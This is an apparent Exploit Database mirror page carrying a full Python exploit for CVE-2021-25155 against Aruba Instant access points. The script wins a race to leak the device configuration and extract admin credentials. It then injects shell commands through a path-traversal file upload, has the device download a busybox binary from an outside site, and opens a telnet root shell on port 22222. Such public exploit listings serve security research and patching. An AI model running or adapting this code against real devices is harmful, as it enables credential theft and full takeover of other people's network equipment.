Aruba Instant 8.7.1.0 – Arbitrary File Modification

Exploit Database
122 阅读

作者： Gr33nh4t

日期： 2021-07-16
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/50133/

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# Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification

# Date: 15/07/2021

# Exploit Author: Gr33nh4t

# Vendor Homepage: https://www.arubanetworks.com/

# Version:

# Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below

# Aruba Instant 6.5.x: 6.5.4.18 and below

# Aruba Instant 8.3.x: 8.3.0.14 and below

# Aruba Instant 8.5.x: 8.5.0.11 and below

# Aruba Instant 8.6.x: 8.6.0.6 and below

# Aruba Instant 8.7.x: 8.7.1.0 and below

# Tested on: Aruba Instant

# CVE : CVE-2021-25155

import socket

import sys

import struct

import time

import threading

import urllib3

import re

import telnetlib

import xml.etree.ElementTree as ET

import requests

urllib3.disable_warnings()

CONTINUE_RACE = True

SNPRINTF_CREATEFILE_MAX_LENGTH = 245

def race_papi_message(ip):

global CONTINUE_RACE

payload = b"\x49\x72"

payload += b"\x00\x03"

payload += b"\x7F\x00\x00\x01"

payload += b"\x00\x00"

payload += b"\x3B\x7E"

payload += b"\x41\x41"

payload += b"\x04\x22"

payload += b"\x00\x00"

payload += b"\x02\x00"

payload += b"\x00\x00"

payload += b"\x00" * 12 * 4

text_to_send = bytes()

for i in "msg_ref 3000 /tmp/cfg-plaintext\x00":

text_to_send += struct.pack("B", int(ord(i)) ^ 0x93)

packet = payload + text_to_send

while CONTINUE_RACE:

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s.connect((ip, 8211))

s.send(packet)

s.close()

time.sleep(0.004)

def find_credentials(text):

res = re.search("mgmt-user .*", text)[0]

res = res.split(" ")

return (res[1], res[2])

def login(ip, username, password):

login_data = {

"opcode": "login",

"user": username,

"passwd": password,

"refresh": "false",

}

res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False)

root = ET.fromstring(res.text)

return root.find("./data[@name='sid']").text

def create_directory(ip, sid):

request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid)

res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False)

if "/tmp/oper_" in res.text:

print("[+] Successfully created /tmp/oper_/ directory :)")

return True

else:

print("[-] Failed creating /tmp/oper_/ directory")

return False

def prepare_upload_id(command):

base_payload = "/../../etc/httpd/"

cmd_len = len(command)

padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8# for the .gz at the end and the '; + spaces

if padding_len < 0:

print("[-] Command too long length:{}".format(padding_len))

exit(1)

return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command)

def create_file(ip, command):

upload_id = prepare_upload_id(command)

requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False)

def run_command(ip, command):

print("[*] Executing telnet")

command = command.replace("?", "%3F")

command = command.replace("#", "\\\\x23")

s = requests.Session()

req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command))

prep = req.prepare()

response = s.send(prep, verify=False)

return response.text

def build_command(command):

command = command.replace("/", "\\\\x2F")

command = command.replace("#", "\\\\x23")

command = command.replace("\"", "\\\"")

command = command.replace("<code>", "</code>")

final_command = "echo -e \"{}\"|sh".format(command)

return final_command

def telnet_connect(router_ip):

print("[*] Connecting to telnet")

with telnetlib.Telnet(router_ip, 22222) as tn:

tn.write(b"rm /etc/httpd/A*sh*.gz\n")

tn.interact()

def main():

global CONTINUE_RACE

ip = sys.argv[1]

print("[*] Starting the PAPI race thread")

papi_thread = threading.Thread(target=race_papi_message, args=(ip, ))

papi_thread.start()

while CONTINUE_RACE:

time.sleep(0.1)

res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False)

if "version" in res.text:

print("[+] Successfully leaked the password from config")

CONTINUE_RACE = False

file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0]

user, password = find_credentials(file_content)

print("[+] Successfully extracted username: {} and password: {}".format(user, password))

sid = login(ip, user, password)

print("[*] SID generated: {}".format(sid))

command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh"""

final_command = build_command(command)

if not create_directory(ip, sid):

return

print("[*] Creating malicious file in /etc/httpd/")

create_file(ip, final_command)

print(run_command(ip, final_command))

time.sleep(1) # Sleeping waiting for telnet.

telnet_connect(ip)

if __name__ == "__main__":

main()